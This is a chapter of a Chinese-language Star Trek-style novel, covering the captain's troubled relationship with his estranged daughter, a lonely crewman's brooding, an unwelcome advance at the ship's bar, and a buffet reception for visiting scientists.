第七章.乐享自助餐
他站起身,走向门口。由于并没有期待有人来,他不想从沙发上发出打开门的指令。虽然他并不担心会发生什么,但他只是想一个人待着,如果有不受欢迎的访客,他可以直接在门口拦截并让他离开。一旦访客进入他的房间,这将变得更加困难。
门打开了,站在门口的是黛西。尽管她一眼就看出他的心情,她仍然勉强对他微笑。他们认识已经很长时间,所以她立刻就能感觉出来。“我可以进来吗?”她问道,似乎不愿意接受拒绝的答案。
诺亚向一边退了一步,给她让出了空间。她走进了房间,经过他的询问后,他们坐了下来。黛西认真地看着她的朋友兼上司。“你怎么样?”她问道。
诺亚斜视着她。“嗯,还好吧!”他深吸了一口气,思考着如何向她解释他的感受。“真是令人沮丧。而且我甚至不知道哪个更糟糕,是与蒂妮的处境还是我对此的反应。我几乎无法处理。虽然在我生命中,我经历过明显更为严峻的时刻。但这种情况从一个我无法处理的层面攻击着我。这就是问题所在。”
黛西同情地抚摸着他的肩膀。“当然,这对你打击很大。她是你的女儿。这是非常个人的事情。你不能将她与在宇宙中面临的任何危急情况相提并论。”在她看来,他的比较有些离谱。有时候,男人和女人的思考方式确实不同。
“是的。”诺亚犹豫地点头。“你说得对,当然。我只是不知道该如何向你形容我有多么无助。”他轻轻地摇了摇头,好像要强调他的话。“我的意思是,她为什么会来这里?”诺亚突然说道。“是为了认识她的父亲吗?我无法想象。她根本不给我机会与她正常交谈。她抵制一切,却像一只狼一样向我扑来,要撕裂我。这是她来的唯一目的吗?”对于诺亚来说,这太难以置信了。他自己深受星际舰队的伦理约束,对于出于复仇和满足的低级动机行为,他简直无法想象。当然,他明白有许多人的行动完全基于这样的情感。但绝不会是他自己的血肉之躯。
“她愤怒,你不能责怪她。在她看来,你从未在她身边。你抛弃了她。”
“但事实并非如此,”诺亚无力地回应。这真的不是这样吗?当初她离开他时,他应该更坚持地与奥丽芙保持联系吗?当时她完全拒绝见他,难道他应该更坚持吗?但他又怎么会知道她当时怀孕了呢?只是他无法向蒂妮解释这些。她不听他说话。她肯定不会相信,也不想相信。“我知道她恨我。从她的角度来看,她有足够的理由。但她来到这里。她至少应该给我一个机会。”他的声音中充满了挫败感。
黛西温柔地拍了拍他的肩膀。“一切都会好的。但你现在需要更多耐心。是的,她来这里是为了见你。也许只是为了责备你。但她来了。这意味着她对你还有一些兴趣。这也许是一个机会。向她展示你是她的父亲,至少从现在开始你会认真对待你的父亲角色。那样她也许会去倾听你。但你需要拥有像涡轮流道一样坚强的神经。”
诺亚微笑了一下。“那很好,这次任务对我们没有特别的挑战。所以我可以专注于这项任务。至少在这个任务中,我不会感到无聊。”他提到了他已经计划的一些工作坊和研讨会。他将不再需要这些活动来分散注意力。
黛西也跟着笑了起来。能够在这些问题上轻松一笑是很好的,因为这让问题显得更小,也不那么戏剧化。
“拥有女儿是一个可怕的想法吗?”几分钟后的沉默后,黛西问道。
这个问题对诺亚来说有些令人意外,他需要一些时间来回答。“不,实际上不是。”他沉思地说道。“很多年来,我已经不再考虑有孩子的问题了。对我来说,我的一生将奉献给星际联邦。现在有一个孩子是很奇怪的。如果我们有一个好的关系,这或许是一种非常好的感觉。”他停了一下,试图理解在他心中激荡的矛盾感情。“但还有一些东西让我感到有点伤感。我有一个孩子,我没能参与她的生活。我没有见证她的成长和发展。我没有看到她出生,第一次微笑和学步的情景。她受伤的时候,我从未能去安慰。我从未能与她开玩笑或逗她笑。我错过了她二十年的生活。那二十年,父母可以参与孩子生活的时光。现在她已经成年,现在她将走自己的路。我错过了一些东西,我永远无法弥补。一个可能存在的生活被直接摆在我面前,这也不是那么容易消化的。如果我们不能解决分歧,我将永远无法参与她的生活。然后在宇宙中有一个我的后代,她跟我船上的人之间的关系还会更近。”
黛西不禁咽了一下口水。她越来越清楚地意识到,她无法理解诺亚内心的风暴,也无法给予他太多帮助。除了陪伴在他身边,倾听他的心声。
她的手仍然放在他的肩膀上,她靠得很近。于是他们默默地坐在一起,各自沉浸在自己的思绪中。最后,黛西清了清嗓子。“我真心希望你能与蒂妮和解。但如果事情无法解决,不要让自己太受打击。你的生活并不取决于这一点。你已经尽力了。如果她不愿意理解,那不在你的控制范围内。你所能做的就是向她伸出援手。如果她拒绝,至少你尝试过。”她不太确定诺亚是否愿意听这些,但她自己相信她说的。
他把手放在她的手上,充满爱意地看着她。黛西比他小将近十六岁。到目前为止,她是他最接近家庭的人。
诺亚对她的支持非常感激。“谢谢,”他简单地说,这一句话表达了他的一切感受。黛西理解了。
约翰坐在机舱的控制台前,凝视着眼前在小屏幕上飞速滚动的数字。他本应该密切关注稀释水晶的读数,因为最近几天出现了一些波动。但是他的思绪却完全在别处。这工作太过单调了。实际上整个机舱的工作都是单调乏味的。当然,总是会有一些不同的任务要完成,有新的事物。但本质上却总是一样的。必须让飞船运转,修复损坏,测试新的修改来提高机器的效率。每天都一样。日复一日。当结束工作后,生活依然继续。约翰回到自己的宿舍,室友已经争取到了不同的班次,所以在约翰的班结束时,凯利正在上班。
凯利这样做肯定是为了尽量少时间和他待在一起。毫无疑问,这全是他的原因。此外,他现在正躺在医务室,意味着约翰有几天的时间可以独享宿舍。然后他再度一个人度过晚上。然后他早早上床睡觉,就像每一天一样。日复一日。无法从这无情的节奏中逃脱。它将一直持续下去。直到他的最后一口气。除了变老,时间如同沙漏中的沙一样流逝,再也没有其他改变。这一切有什么意义呢?这就是生活吗?这就是生命的全部了吗?如果这就是生命,那么在创世中何为神圣?毕竟,是否有人的生与死都与这世界无关?如果人类只是勤勉地完成自己的职责,最终还是像蚂蚁一样被踩死,那还会有人对生命有更多期待吗?如果真的只是这样,那么他无法理解整个这种人生。任何敌对的种族摧毁人类又有何意义呢?这没有关系。人们根本不会错过什么,除了愚蠢的单调和缓慢地消亡,直到最后一刻。为什么有人会自愿选择这样的生活?为什么他会选择这样?为什么他会承受这一切?为什么他不直接结束这一切?有人在乎吗?
“不!”他在心里尖叫着。“不,不要再这样了。”
他不想再纠缠于那些让他如此痛苦的相同思绪中。这总是一样的。每当他独自一人时,几乎一直都是这些想法来回困扰着他。每次之后,他感觉更加糟糕。但他也无法抵抗。这种思维方式已经变得太过熟悉。他的大脑自动思考这样的事情,并不断地消耗着他的心力。他简直太麻木于独自一个人了。他无法再受得了孤独,但也同样无法忍受与人为伍。他内心如此纠结,恐怕他已经没有救赎的机会了。
他费力地把这些黯淡的想法推到一边。他想去想一些其他美好的事情。一些给他勇气的事情。然而,他脑海中只浮现出蒂妮的形象。自从他第一次见到她以来,她就迷住了他。她是如此美丽和曼妙,以至于她不可能是一个普通的人。她一定是一个天使,一个为了帮助他、拯救他而降临的天使。她肯定能让他的生活重新获得意义。只要一个拥抱,甚至是一次简短的接触,她就能帮助他。她能够遇见如此美妙的女孩,是巧合吗?蒂妮只比他年轻三岁。在船上,只有很少有人处于这个年龄段。而她偏偏在这个时候登上了飞船。在他还能得救的时候。仿佛神明怜悯他一样。但他知道,这个愿望实在是太可笑了。她对于他来说是如此触不可及,就像中世纪的月亮对于人类一样。她甚至还没有注意到他。如果他早点跟她说话,也许就不是这样了。但他没有勇气。而且他认为,如果他能够打动像蒂妮这样的女性,那简直是狂妄。因为他根本不值得。他是一个无足轻重的人,一个无名之辈。除了一些空想,对于他来说,没有希望。他会亲眼目睹她爱上别人。而且很快。像她这样的女人不会长时间单身。对于他,只能成为痛苦中的旁观者。她永远不会对像他这样的人感兴趣。事实上,也不会有其他女人对他感兴趣。他也不会知道接下来该怎么做。生活总是毫无希望。
于是,他再次被忧郁和黑暗笼罩。这总是一样的。没有改变的希望。
蒂妮厌倦了一直待在自己的住处。当然,她想避开她的父亲,不想见到他。毕竟她对他的感情没有改变。但是难道她因此就要把自己关在房间里,固守“城池”吗?他应该避开她才对。如果他不这么做,那么他就得听点教训。不,她不会再躲避他。而且她甚至不知道她需要在这里待多久。人们已经告诉过她,“共和号”不会为了她掉头回去。他们也不会与飞向地球方向的其他飞船交叉路径。如果情况真的糟糕,那么她必须一直待在这艘飞船上,直到任务结束。而这可能需要数月的时间,她已经得知了。在这种情况下,她绝对不能继续待在她的住处。
因此,她决定去酒吧。喝点东西,融入大家,这看起来才是正确的选择。即使大多数酒吧的客人都是星际舰队的军官。不过,与这些人接触是无法避免的。而且有些人似乎是挺不错的,比如那个医生,她不情愿地承认。此外,还有科学家及其助手。
她走进了酒吧,目光首先在房间里转了一圈。只有很少的人在场,当然全都是星际舰队的成员。看到红色制服,她的心情又开始低落了,她开始怀疑自己来这里是否真的是个好主意。但是她还是鼓起勇气,走向窗户旁的一张桌子。在走路的过程中,她注意到在场的人们几乎都在盯着她看。这不仅仅是因为她的外表。虽然她身上那凸显身材的服装肯定有助于引起注意。但整艘飞船上已经传开了她是舰长的女儿这个听起来相当炸裂的消息。这引起了许多议论,谣言四起。而且由于蒂妮之前几乎没有出现在大家面前,大家都对她充满了好奇心。
她终于从那些好奇的目光中走过,坐在了桌子旁时。她心里下了一个决定,除非其他人都离开,否则她不会离开。那个过程让她感觉有些尴尬。因为在她内心深处,有个声音告诉她,从船员们的角度来看,她是这场争论中的坏人。一些人已经在诺亚的领导下服务了很长时间,而且只有好的经历。对于大多数人来说,船长会做出像蒂妮指责的那样可怕的事情,简直是难以想象的。
为了忽略其他人的目光,蒂妮看向窗外,凝视着星空,心思飘忽在繁星之间。
突然,旁边响起一道声音:“我能给您带些什么呢?”
蒂妮吓得几乎从椅子上跌下来。她根本没有料到会被搭话。她的心怦怦直跳,感觉自己的脸先是发白,然后涨得通红。真是太尴尬了。她抬头看去,目光落在一个友好微笑的蓝色面孔上。头上覆盖着雪白的头发,从中伸出两根蓝色触角,友好地弯曲着,向她打招呼。蒂妮立刻意识到,站在她面前的是一个安多利亚人。只是她以前从未亲眼见过一个。他的服装表明他是酒吧的调酒师,显然他要来记录她的点单。但是她吓得太厉害,以至于没听清他说了什么。
“小姐,需要喝点什么吗”他友好地问道,无视了她的惊吓。
“一...一杯沙利亚白兰地,”蒂妮说着,努力让自己显得相对自信。
安多利亚人点了点头,回到吧台去了。
蒂妮望着他的背影,觉得自己太可笑了。她知道自己刚才瞪着他时一脸愚蠢。这真是太尴尬了,她恨不得钻进地里。而且其他人的目光又重新聚焦在她身上。
不久后,安多利亚人端着一杯琥珀色的酒回来,把它放在她面前。“请慢用,"他依然友好地点头。
“谢谢。”蒂妮尽量装得自信一些,希望弥补之前的尴尬印象。尽管对于那个男人来说,这并不重要。而且其他船员对她也有自己的看法。这些小事无关紧要。
她喝了一口,失望地发现这杯酒并没有真正的酒精,只是酒精替代品。虽然从口感上几乎没办法区分,但那种陶醉的感觉并没有出现。但这难道不是喝酒的真正目的吗?她不满地把杯子放在桌子上,又一次将目光投向窗外。流动的星空视野让她感到平静,对她来说绝对迷人。她对外面的景色无比着迷,看不够。她甚至可以这样凝视数小时。她并没有注意到房间里其他发生的事情。她也对此不感兴趣。
因此,她再次没有注意到有人站在她旁边并开始跟她说话。她惊慌地转过身,差点把杯子从桌子上推倒。她睁大眼睛喘着气,胸膛急速起伏着。“啊,是您,”她勉强说出口,虽然她只是从视觉上认识这个人。如果她没有记错的话,他应该是德雷·英格马。
“是的,是我。”他关切地看着她,但他的目光更多地停留在她的领口,那里还在上下起伏着她的胸部。“您没事吧?”
蒂妮点了点头,慢慢平静了下来。“没事。我今天可能只是有点神经过敏。”她心里想着。她怎么能和一名星际舰队军官如此轻松地交谈呢?
“我注意到了,”英格马低声说,更像是对自己说的。而且他似乎将她的坦率视为一种邀请,他拉了一把椅子过来。“我可以坐下吗?”他问了一声,然后没有等蒂妮回答就坐在她旁边。
蒂妮注意到了,但不知道该怎么做。通常情况下,她绝不会允许这样的事发生。但她简直说不出话来。显然,她还被吓得太厉害了。
“沙利亚白兰地,”他发现了她的酒,并指着她的杯子说。
她只是点了点头。她必须更加克制自己。
“绝佳的选择,”他迷人地笑着对她说。
蒂妮踌躇地回应了笑容。她不认识他,不知道对他该怎么看。实际上,她以前早就了解道了。他是一名星际舰队军官,因此肯定和她父亲一样。但另一方面,英格马看起来真的很不错,她不得不承认。他看起来简直是太帅了。
“您对我们的船有什么看法?”他想知道,似乎真的对她的意见感兴趣。
“它很漂亮,”她犹豫地回答道。她不知道还能说什么。她绝不能表现得太过兴奋,尽管她对这艘船非常喜欢。这里的技术令人叹为观止。在她之前的生活中,她从未见过这样的东西。能够与这样的技术打交道一定很有趣。这是一个梦想,一个她的现实生活永远无法实现的梦想,除非她加入星际舰队。而这对她来说依然是不可能的。
“漂亮?”他怀疑地重复着。“它是非常棒的。整个舰队中最美丽的飞船。哦,不,整个象限中都找不到比它更美丽的了。”他故意夸张地说着,让蒂妮不禁笑了出来。
“您知道吗?别人说的远远不及您真实的美丽。”英格马说着,同时深深地注视着她的眼睛。
“谢谢,”蒂妮简单地回答,尽量不显得没有礼貌。
“不,真的。您就像…就像…哦,简直无法形容。您比一切都美丽。即使是天使在您旁边都会黯然失色。”
蒂妮不知道该说什么。虽然这不是她第一次听到这样的赞美,但每次她都会感到害羞。她从来不擅长应对赞美。她一直以来都是这样。可能是因为她必须在各个地方努力拼搏,而她得到的大多数赞美都是虚假的。她想赶紧转换话题,但她想不出来应该说什么。
英格马又一次比她快。“你的朋友真的很幸运......”
“我没有朋友,”她打断他,渐渐开始想知道这段对话将会导向何方。
“真的吗?”英格马假装遗憾,然后笑了起来。“但这样更好。那么我还有机会,”他开玩笑地说。
蒂妮的目光稍微变得狭窄。“如果你这么认为,那么我暂时将不会与你交朋友”她干脆地回答。
英格马迷人地笑了笑。“那是个笑话。对不起,可能不太好笑,”他尴尬地解释道。
她看着他,不知道该怎么看待这一切。“不,真的不好笑,”她随后说道。
“你知道,我也是新来的,”他有些低声地解释道,仿佛感到不好意思。“我还不太认识多少人。我想,要想和像你这样的人交谈,我必须要幽默一些。但是勉强讲笑话是行不通的。请原谅我。”他用忠诚的眼神看着她,这样的眼神通常能融化女人的心。
然而,蒂妮对英格马的行为感到更加反感。她的目光变得冷漠,坚定地看着他。英格马正是她对星际舰队军官的期待。一个花花公子,一个油腻子。就像她父亲一样。
由于蒂妮没有回应,英格马必须迅速考虑一个新的计划。温柔的方式显然不奏效。也许她想要更直接的邀请。“我们去观景台怎么样?”他问道,同时亲近地靠近她。
蒂妮的愤怒上升了。她几乎想用拳头回应。只是这样可能会被送进拘留室,她绝对不想经历这种羞辱。“不,谢谢你,”她还勉强说得出来。
英格马似乎完全不知道什么是界限,因为他并没有放弃。他向她靠得更近了一些,说:“观景台比这里的视野更好。”由于她之前一直在观察星星,他认为这是个好理由。
这对蒂妮来说太过分了。她用力推开他,他连带着椅子倒在了后面,摔得很狼狈。蒂妮已经站了起来,目光怒火中烧地盯着他。“你再敢这样做,你会后悔来到这个世界!”她气得下巴都在颤抖,似乎在考虑是否还要说些什么。但随后她突然转身,大步离开了酒吧。
英格马完全被吓到了。他从未经历过这样的反应。通常,他在女性面前的成功都是压倒性的。这次到底发生了什么事?慢慢地,他爬了起来。此时他才注意到,周围的人都转过头来,观察着他。他尽量装出一副冷静的样子,重新把椅子摆正,环视了一下四周,然后离开了酒吧。接下来的几天里,他不打算再来这里了。这整个事情对他来说太尴尬了。尽管他绝不会让别人看出来。
忙碌的工作人员将最后的食物搬到自助餐台上,并在那里摆放得漂亮动人。一切都不能出错,必须完美无缺。这里的船员虽然没有接受过专业厨师或专业服务员的培训,但他们收到了明确的指示,要将食物如何摆放。而且食物的制备本来就是由复制器完成的,黛西还将一位地球五星级厨师的一些数据输入到复制器中,专门为这个场合制定了一份菜单。聪明的程序员将这个菜单转换成了程序代码,这样复制器就可以通过原子和分子将一切组合在一起,仿佛是新鲜制作的一样。对于技术外行来说,这种效果总是给人一种复制器可以从空气中创造出各种不同事物的印象。然而,背后是一种极为复杂和繁琐的技术。而且需要大量能量。当然,并不是所有复制器产生的东西都是从空气中创造出来的,而是通过转换能量产生的。这是因为扭曲核的物质-反物质反应产生了如此多的能量,以至于除了动力系统之外,其他系统仍然有足够的能量。
这是近年来的一种发展。直到几年前,技术和能源供应都还不足以通过复制器单独为船员提供食物。在那之前,食物必须在船上的一个大厨房中准备。然而,为四百多人准备食物并非易事。由于工作是分批进行的,所以随时都需要准备热食和冷食。为此所需的空间和资源并不小。此外,食物的选择当然是有限的。毕竟,无法为每个人每天单独烹饪。而现在通过复制器的食物准备就有所不同。共和号的飞船仍然配备了这样的厨房。不过通常情况下它是锁上并密封的,以防止任何人在里面胡乱作为。
船员们亲切地称这个地方为“餐厅”,这是为了迎接科学家们而举行的招待会场所,位于12楼,紧挨着旧厨房。在这里,摆放了四台复制器,供船员们取餐使用。几张桌子提供了足够的空间,让人们可以舒适地用餐,没有拥挤之感。领导团队也会来这里用餐。虽然军官们的宿舍配备了独立的复制器,但船长诺亚要求他们像其他船员一样到餐厅用餐。一方面,他们应该展示自己是团队的一部分,而不是与其他人不同。另一方面,船长始终强调,共进晚餐是人类最古老、最重要的仪式之一。它促进了团队的凝聚力,并在私人领域促进了信息交流。因此,领导团队也毫无异议地接受了这一点。通过这样的方式,共和号的船员形成了一个包括领导团队在内的整体。这在很多飞船上不都是那么常见的。
由于这个房间位于船体内部,所以没有窗户可以看到外面的太空。尽管如此,房间看起来很吸引人。墙壁涂上了明亮温暖的色彩,地板采用了复合木地板结构,照明设施产生出一种类似太阳的柔和光线,舒适而不刺眼。现在,墙壁上还悬挂着绘画作品,它们与房间整体相得益彰。这些绘画专门为这个房间而创作。黛西几年前发现,船员们在业余时间涂鸦,而且有些人还相当有天赋。这些艺术家不需要花费太多时间就可以为餐厅设计一些合适的画作。这些画作已经挂在这里好几年了。自那时以来,船员的构成随着个别成员的调动而略有变化,而那些参与绘画的人中,早已不是所有人都还在船上。但他们的画作仍然悬挂在餐厅里,仿佛他们的一部分依然留在这里。
加百利·卡萝走进了房间,这时正好有人在自助餐台上最后一个盘子调整位置。准备工作完成了,几分钟后,客人们将出现。所有科学家都受到邀请,以及他们的助手、实验室的员工以及共和号的所有科研部门的成员。
卡萝对共和号的船员和科学家们准备的招待会感到满意。除了科学家们外,还有领导团队共计将近一百人受邀出席。由于船长因为其他事务忙碌,因此卡萝负责组织准备工作。现在,她满意地看着一切都已准备就绪。他们从酒吧调来一名服务员,并找到了另外四名自愿者,他们将在此处为客人提供饮料。通过自助餐方式解决服务的问题。
加百利·卡萝的目光落在散发着诱人香气的美食上,其香气已经弥漫在整个房间,立刻引起了食欲。这里供应了来自联邦各个星球的菜肴。有来自雷吉拉星系的水禽和来自德努博拉星球的猪肉,一种带有鳍的猪。还有来自德雷隆3星球和瓦肯星的素食菜肴。此外还有来自联邦超过十几个星球的精心制作的配菜。有热菜和冷盘、汤和干果。还有无数种调味汁和调料。此外,还有一个专门的沙拉吧台,上面陈列着卡萝从未见过的各种沙拉。其中有许多绿色沙拉,但也有红色、黄色,甚至一些蓝色的沙拉。然而,最引人注目的是粉色的沙拉。卡萝还不确定自己是否会尝试,尽管它是一种天然着色的食物。
餐桌几乎被食物压弯。尽管如此,可能还是不够供应给所有人。助手们肯定需要多次去使用复制器,将食物再次补充。而且稍后还要准备甜点。根据食谱,甜点的份量不会少。卡萝现在就害怕明天早上看到体重秤的指示。
听到大门打开的声音,她转过身。她的同事英格马、西莉亚、黛西和维达刚刚走进房间。卡萝再次注意到,在所有女士中,英格马看起来像孤芳自赏的公鸡。
“你好,指挥官,”黛西向她打招呼。“这里的香气真是太诱人了。”他们走进房间时,美食的香气几乎直击他们的脸颊。
“那倒是,”卡萝点头。“我的胃现在都已经在咕咕叫了。”
“希望开场的演讲不会太长,”英格马笑着说道。他这样说,其实是代表了大家的心声。
卡萝只是短暂地瞥了他一眼,然后友好地审视了所有人。“我看到,你们都穿上了盛装。”他们都穿着适合特殊场合的晚礼服。虽然这不是直接的命令,但礼节却要求如此。虽然没有人喜欢穿晚礼服。它有点生硬,剪裁也不舒适。不知道设计这件服装的人是怎么想的,没有考虑到穿着它的军官们。
在四人到达后不久,杰佛瑞也到了。他带着大部分的科学家和他们的助手。于是,房间在几分钟内填满了人。每个人都感觉到这里的香气实在太好闻了。一些人渴望地看着自助餐台,但礼节要求等到所有人都到齐后,主客才能开始自助餐。
卡萝认为现在所有受邀的客人都已经到齐,于是她微微点头示意侍者们开始分发香槟酒杯。他们灵活地在人群中穿梭,手持托盘,将香槟递给每位客人。杯中的香槟含有真正的酒精。这是绝对的例外,因为实际上,在船上是不允许酒精的。而且复制器也不会生产含酒精的饮品,这是由于先前预设的安全协议。所以卡萝也没透露她是从哪里弄到这么多真正的香槟的。
在酒杯分发完毕后,卡萝轻轻敲了一下自己的酒杯,以吸引大家的注意。已经形成小组并开始进行初次交谈的人们纷纷停下来,转向卡萝。
“女士们先生们,代表诺亚船长,很遗憾他今天不能在这里,我再次欢迎您们莅临舰上。我们非常荣幸有这么多联邦最聪明的头脑在此。考虑到已经摆好的食物和诱人的香气,我也不想用漫长的演讲来折磨您们。让我们一起为成功的任务和良好的合作干杯。”她举起了酒杯。
客人们短暂地鼓掌,似乎对演讲的简短感到欣慰。他们互相碰杯,然后室内的噪音又逐渐恢复。一些人开始取食物,盘子碰撞的声音回荡在空气中,而另一些人则继续聚在一起进行交谈。这种情况一直持续,直到他们看到自助餐台的队伍变短。渐渐地,人们分散到餐桌上开始就餐。一些科学家之间的学术讨论也在继续。这是所有参与任务的科学家的第一次聚会。因此他们利用这个机会,就曼德拉号报告中的一些初步发现进行了讨论。同时,他们还进行了一些专业领域的划分,并制止了一些潜在的竞争对手。当然,也有一些私人话题被讨论。这样可以更好地相互了解,尤其是在科学家的助手之间。他们大多是在这里完成实习的学生。他们不仅对科学研究感兴趣,对他们来说,这也是一个社交平台。他们有机会结识朋友,建立友谊,甚至更多。因此,很快就形成了明确的小团体。相同或相关学科的科学家与一些共和号的研究人员一起讨论任务和期望。
学生们之间很快形成了小团体,他们主要讨论自己的出身和未来期望,谈论学习经历,以及私人话题。因此,一些固定职位的助手和共和号的军官们便留了下来。他们互相组成小组,或者像卡萝指挥官和泰德一样,加入了科学家们的讨论,尽管他们几乎对其中的内容一无所知。
时间过得很快。当西莉亚从与几名病毒学家和生物学家的讨论中退出,准备再倒一杯香槟时,她遇到了黛西,显然后者也有同样的想法。
“你们的讨论也是如此乏味吗?”黛西问道。
“我说不上来。我已经几分钟没有跟上思维了,”西莉亚歪着嘴笑道。“这对我来说更多是因为酒精使我疲倦。其实我应该停下了,但是很少有机会喝到真正的香槟。”
黛西回以微笑。“这倒是真的。我们必须好好利用这个机会。”
她们继续站着聊了一会儿,但后来她们决定坐下来。当然,还是要继续喝香槟。她们在桌子旁继续闲谈各种各样的话题。科学家约瑟夫·依夫似乎最终对讨论也不感兴趣。他退出了自己的小组,走到了西莉亚和黛西的桌子旁。
“嘿!美女们。”他笑着,让自己庞大的身体坐在一张椅子上。“原来你们两个人坐在这里!”
“但现在你来了,真是太好了!”黛西愉快地回答。她已经明显喝了太多的香槟。尽管因为美味的食物,酒精并没有显得那么强烈,但她还是有些微醺。
“我不能让两位如此漂亮的女士独自喝酒。”依夫眨眼向她们打招呼。“但我当然不想打断你们。你们在谈论什么?”
西莉亚看着黛西。她也已经喝得相当高兴。“我们刚刚决定互相称呼你为‘你’。这不是很奇怪吗?我们已经一起工作了五年,但我们还是互相称呼为‘您’。”
“这当然不奇怪,”黛西回答。“毕竟你还是很年轻,我怎么能称呼你为‘你’呢?你会失去对我的尊重。”
“呸,”西莉亚假装愤怒地翻了个白眼。“她又在装得好像她已经很老了。”
“我可是比你大二十岁左右呢,从我的角度来看,你们俩还是年轻人,”约瑟夫·依夫插了一句。毕竟,他已经快五十多岁了。
“我们都还是年轻人,”黛西坚定地说着,举起了她的酒杯。“让我们为此干杯。我们再也不会这样年轻。”
他们的酒杯碰在一起,引来了一些困惑的目光,但他们并不在意。
“既然我们已经互相称呼为‘你’,我的名字是约瑟夫·依夫,”科学家对她们说道。
“很高兴认识你,我是西莉亚。”医生迫不及待地回答。她稍微前倾,与他握了握手。
“我是黛西。”黛西稍微犹豫了一下。她对接下来该怎么做还不太确定。但随后她将这些想法抛在了脑后。约瑟夫·依夫肯定不会有其他打算,只是一些愉快的交流,尽管他的一些话有些暧昧。毕竟,他很可能是她的父亲年纪。
“你肯定去过很多地方吧?”西莉亚开口道。“那你一定也遇到过一些古怪的人物,对吗?”
约瑟夫·依夫含蓄地点了点头。“噢,是的,我遇到过。”
“告诉我们你最疯狂的遭遇吧,”医生对依夫说。
他挑起眉毛,愣了一会儿,然后嘴角微微上扬。“那么,我人生中最疯狂的事之一是在近三十年前发生的。而且那不是在工作中,而是私人方面的。在一个假期中。尽管当时我一点儿都不觉得有趣。你们知道基尔玛星球吗?它是景色最美丽的星球之一。三十年前,我和我当时的妻子一起度假去了那里。我的工作太忙了,几乎没有时间度假。因此我们决定让它成为一个特别美好和难忘的假期。而事实上,它绝对是难忘的。”
他看着这两位女士,确保她们在听他说话。然后继续说道:“我们想要度过一个浪漫而又不寻常的假期。所以我们选择了驾驶一辆计划中的马车穿越大草原。只有我们两个人,完全独享。这样别人就无法打扰我们。我们可以尽情放松,几乎无人能找到我们,而且我们也放弃了所有技术。这样我也不用费力在旁边工作。”
“那个星球的景色太美了。每天阳光灿烂,尽管天气已经有些凉爽,因为那时候已经是年底了。简言之,一切都准备就绪,度过绝对完美的假期。
然后,问题来了。这匹马,或者说那是个什么动物,拉着我们的车,训练得并不太好,委婉地说。它不听从指令。它想干什么就干什么。而且偶尔它也会突然慌乱起来。这甚至在第一晚就开始了。我们正舒舒服服地准备做一些只有两个人才会做的事情,突然听到马蹄的跑动声。然后这只可恶的动物猛地撞向马车,然后就消失了。就这么消失了。它就这么溜走了。我们用了半夜和整整第二天的时间寻找这头笨马。我们步行穿越荒野,寻找我们的马。我看到了比我想象中更多的风景。而事实上,我在那次假期中更希望看到的是我美丽的妻子,如果你明白我的意思。”
他让她们先笑一下,然后停了一下。“在第二个晚上,关于爱情的计划也被搁置了。我们对寻找的劳累如此疲惫,只能睡觉了。”他对这些回忆摇了摇头。“后来也是这样。即使马身后拉有马车,它还是几次惊慌失控。我费了很大的劲才重新控制住它。第四天,地形有些不平坦,那马又一次发飙了。我的妻子被摔出了马车,头朝下摔在地上。”
西莉亚和黛西震惊地看着他。“她没事吧?”医生立刻问道。
“那时候我自己也是在几分钟后才知道的,”约瑟夫·依夫继续他的故事。“我必须继续与那匹马搏斗,直到最后终于让它停下来。然后我立刻返回,照顾她。她当时失去了知觉,头部有一点出血,不过没有大碍,但那时我还不知道。我感到很惊慌,不知道该怎么办。我们当时渴望远离他人,不让任何人联系得到我们,而现在这变成了我们的困境。只有在这片荒野的几个地方才有可能建立通讯联系。由于这颗星球的轨道上没有任何卫星,我们被困在这里。我最终成功唤醒了她。她有些恍惚,但总体上还好。我们一起回到马车,然后驶向最近的联系站。幸好我们在地图上都标出了这些地点。然后一艘太空船来接我们。我的妻子被送到医院检查,至于那匹可恶的马,希望他们已经把它煮成了肉糜。”
西莉亚皱了皱鼻子,但又忍不住笑了。“你真是度过了一个浪漫的假期,”她讽刺地说道。
“是的。而且,当时故事还没有结束,”约瑟夫·依夫的声音中带着奇怪的语气。“它继续进行着。”
“你居然还再次出发驾驶马车?”黛西难以置信地问道。听完这样的故事后,她早就希望尽快回到工作中。
“不,”他摆手拒绝道。“我们受够了那辆车。但在那里也有很多美丽的湖泊。湖泊,你甚至看不到对岸,距离太远了。我们打算在一个小木屋里再度过几天。那看起来很安全。而且第一天确实如我们所想的那样美妙。哇,那真是一天。还有一晚上。”他挑逗地笑着。“第二天我们驾着小船出发,我们已经到了相当远的地方,对岸都看不见了,突然引擎熄火了。什么都无法使它再次启动。我们就这样被困在湖中间。”他停顿了一下,为了强调他话中的戏剧性。
“又一次失去了与外界的无线联系,”西莉亚猜测。
“是的,”他充满热情地确认道。“我无法形容那种突如其来的紧张感。幸运的是,我们有一把小小的应急桨,我疯狂地划着。而且我们还找到了一小段水流,我们利用了它。尽管如此,我们几乎用了整整一夜的时间才到达岸边。顺便说一下,自那以后我再也不敢在湖上航行,”他补充道,这引起了一阵笑声。“我想我在那一天从未如此疲惫过。而且我们甚至还没有回到自己的岸边。我们的小屋离这里还有好几公里。事后我得知,根据岸线来计算,大约有两百公里,而且不是直线距离。
幸运的是,在我们走了两公里的路程后,我们找到了另一座小屋。它是无人居住的,但门前停着一艘小船。我们就借走了那艘船,顺着岸边慢慢回来。只为安全起见。”
“你偷了一艘船?”西莉亚似乎对此不太认可,但这在这种情况下确实很有趣。
“我们只是借来用用而已,”他坚定地回答道。“只是希望没有哪个可怜的家伙因为没有船而被困在湖边。”他笑了笑。“那之后我们就急着想回家了,度假也就此结束了。”
他们一起笑了起来,然后用杯子碰了碰。“但是这个度假并不是你与你妻子分开的原因?”西莉亚问道,两人喝了一口。
“不,”他轻描淡写地摆手。“我既是享乐主义者,又是工作狂。不是每个女人都能适应这种生活。在我生命中,我已经结过四次婚。但没有一段婚姻持续得很久。”
西莉亚吃惊地挑了挑眉毛,尽管他完全可以想象得到。
“约瑟夫·依夫先生,你能给我们一点时间吗?”一个站在杰佛瑞旁边的科学家喊道,显然是需要他的专业知识或意见。
“当然,”约瑟夫·依夫回答,并从椅子上站起来。“请原谅我。”他再次向两位道别。“别跑,我很快就回来。”
“我们会在这里的,”西莉亚保证道。当依夫走向其他人时,黛西环顾了一下房间。可能还有二十个人在场。其余的人都已经走了。时间过得比她感觉中要快。
“结过四次婚,”西莉亚无奈地重复。她喝了一口香槟。“那你的爱情生活怎么样?”她用挑逗的笑容问黛西。
黛西吃惊地看着她。显然,酒精会降低人的抑制力。即使是这么好奇的医生,在昨天也不敢这样问。“我没有爱情生活,”黛西回答。“我总是表现得太笨拙了。而且有机会认识新人的时候也很少。”
